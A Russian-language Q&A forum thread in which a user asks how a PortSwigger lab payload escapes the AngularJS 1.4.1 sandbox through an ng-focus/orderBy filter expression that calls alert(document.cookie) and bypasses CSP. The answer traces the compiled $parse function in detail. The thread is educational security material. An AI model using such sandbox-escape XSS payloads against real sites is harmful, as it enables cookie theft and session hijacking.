Пожалуйста, объясните сценарий Angular JS: - PullRequest
0 голосов
/ 02 апреля 2020

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

Angular JS Версия: 1.4.1 (в которой до сих пор используется Angular JS Песочница )

Может кто-нибудь объяснить сценарий внутри переменной местоположения после части поиска? В частности, что происходит внутри функции orderBy? - '(z=alert)(docuement.cookie)'#x Как вызывается функция оповещения? et c.

Я сталкивался с этим при решении этой лабораторной работы: https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp

Пожалуйста, дайте мне знать, если мой вопрос нуждается в дополнительном разъяснении. Вы даже можете указать мне на указанное c место в angularJs документах, где это обсуждается.

1 Ответ

0 голосов
/ 16 апреля 2020

Прежде всего #x не является частью выражения orderBy. Это фрагмент URL. Это заставляет браузер сосредоточиться на элементе ввода, вызывая событие ng-focus.

Просто для того, чтобы мы были на одной странице здесь. Это введенный код: <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>

Просмотр эксплойта на высоком уровне обеспечивается решением на странице, на которую вы ссылаетесь:

Эксплойт использует событие ng-focus в AngularJS для создания события фокуса, которое обходит CSP. Он также использует $ event, которая является переменной AngularJS, которая ссылается на объект события. Свойство path указывается от c до Chrome и содержит массив элементов, вызвавших событие. Последний элемент в массиве содержит объект окна.

Обычно, | является побитовой или операцией в JavaScript, но в AngularJS указывает операцию фильтра, в данном случае фильтр orderBy. Двоеточие означает аргумент, который отправляется фильтру. В аргументе вместо прямого вызова функции alert мы присваиваем ее переменной z. Функция будет вызываться только тогда, когда операция orderBy достигает объекта окна в массиве $ event.path. Это означает, что он может быть вызван в области видимости окна без явной ссылки на объект окна, фактически обойдя проверку окна AngularJS.

Однако это не объясняет, как функция оповещения фактически вызывается. Решение скрыто в глубине исходного кода AngularJS. AngularJS использует сервис $parse для анализа выражения, данного ему в атрибутах. Как указано выше, выражение является выражением фильтра, использующим фильтр orderBy. Фильтр orderBy реализует функцию, которая принимает массив ($event.path) и выражение сортировки ('(z=alert)(document.cookie)') в качестве аргументов и возвращает упорядоченный массив.

Что фильтр OrderBy делает с сортировкой выражение? Выражение сортировки сравнивается с элементами массива для извлечения ключа, который следует использовать для упорядочения элементов. (Есть множество примеров в do c: https://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy). Как фильтр orderBy делает это? Он передает выражение сортировки в функцию $parse, чтобы преобразовать его в функцию JS. Результирующая функция выглядит следующим образом:

    var fn = function(s, l, a, i) {
        var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
        v4 = v5 ? l : s;
        if (!(v5)) {
            if (s) {
                v3 = s.z;
            }
        } else {
            v3 = l.z;
        }
        if (v4 != null) {
            if (!(v6)) {
                if (s) {
                    v2 = s.alert;
                }
            } else {
                v2 = l.alert;
            }
            ensureSafeObject(v4.z, text);
            v1 = v4.z = v2;
            if (v1 != null) {
                ensureSafeFunction(v1, text);
                if (!(v9)) {
                    if (s) {
                        v8 = s.document;
                    }
                } else {
                    v8 = l.document;
                }
                if (v8 != null) {
                    v7 = v8.cookie;
                }
                v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
            }
        }
        return v0;
    };

Эта функция вызывается для каждого элемента в $event.path. Это довольно уродливо, поэтому я попытался немного его почистить и упростить для понимания:

var fn = function(element, l, a, i) {
    // element is the element from $event.path all other parameters are undefined

    // these are all falsy
    const hasLPropertyZ = l && ('z'in l);
    const hasLPropertyAlert = l && ('alert'in l);
    const hasLPropertyDocument = l && ('document'in l);

    const elementOrL = hasLPropertyZ ? l : element;

    // this block is useless
    let elementZ;
    if (!(hasLPropertyZ)) {
        if (element) {
            elementZ = element.z;
        }
    } else {
        elementZ = l.z;
    }
    // ----------------------

    let returnValue;
    if (elementOrL != null) {

        // here begins the real action. We are reading the alert property from our element.
        let elementAlert;
        if (!(hasLPropertyAlert)) {
            if (element) {
                elementAlert = element.alert;
            }
        } else {
            elementAlert = l.alert;
        }

        ensureSafeObject(elementOrL.z, text);
        // and assigning it to property z of our element
        // this is the (z=alert) part of the expression
        const alertFunction = elementOrL.z = elementAlert;

        // if the alertFunction is null (on all elements except the window element) we don't do anything.
        if (alertFunction != null) {
            // one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
            ensureSafeFunction(alertFunction, text);

            // here we are reading window.document
            let theDocument;
            if (!(hasLPropertyDocument)) {
                if (element) {
                    theDocument = element.document;
                }
            } else {
                theDocument = l.document;
            }

            // then we read document.cookie
            let theCookie;
            if (theDocument != null) {
                theCookie = theDocument.cookie;
            }

            // executing alert
            returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
        }
    }
    return returnValue;
};
return fn;

Как видите, эта функция по существу реализует следующий код:

function(element) {
    const alertFunction = element.alert;
    element.z = alertFunction;
    alertFunction(element.document.cookie);
}

Надеюсь, это поможет. Дайте мне знать, если я смогу кое-что уточнить.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...